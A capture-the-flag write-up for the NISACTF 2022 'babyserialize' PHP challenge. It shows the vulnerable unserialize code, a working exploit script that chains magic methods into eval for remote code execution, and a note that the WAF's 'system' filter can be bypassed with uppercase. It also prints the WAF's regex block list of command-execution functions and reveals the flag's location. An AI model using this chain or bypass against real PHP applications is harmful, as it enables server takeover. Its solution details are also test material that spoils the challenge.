[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

exp:

<?php
//__wakeup(NISA)==>__toString(Ilovetxw)==>__invoke==>
class NISA{
    public $fun;
    public $txw4ever;
}
class Ilovetxw{
    public $huang;
    public $su;
}
$ser=new NISA();
$ser->fun=new Ilovetxw();
$ser->fun->su=new NISA();
$ser->fun->su->txw4ever='RCE...';
echo urlencode(serialize($ser));
?>

pop链的构造其实只需要两个类，另外两个其实可以不用；
主要是最后的checkcheck($data)；也不知道到底过滤了什么，还以为是cat ls 等命令，没想到是过滤了system，用大写绕过；
而且flag是fllllllaaag。
waf:

<?php
function checkcheck($data){
    if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
        die('something wrong');
    }
}
function hint(){
    echo "flag is in /";
    die();
}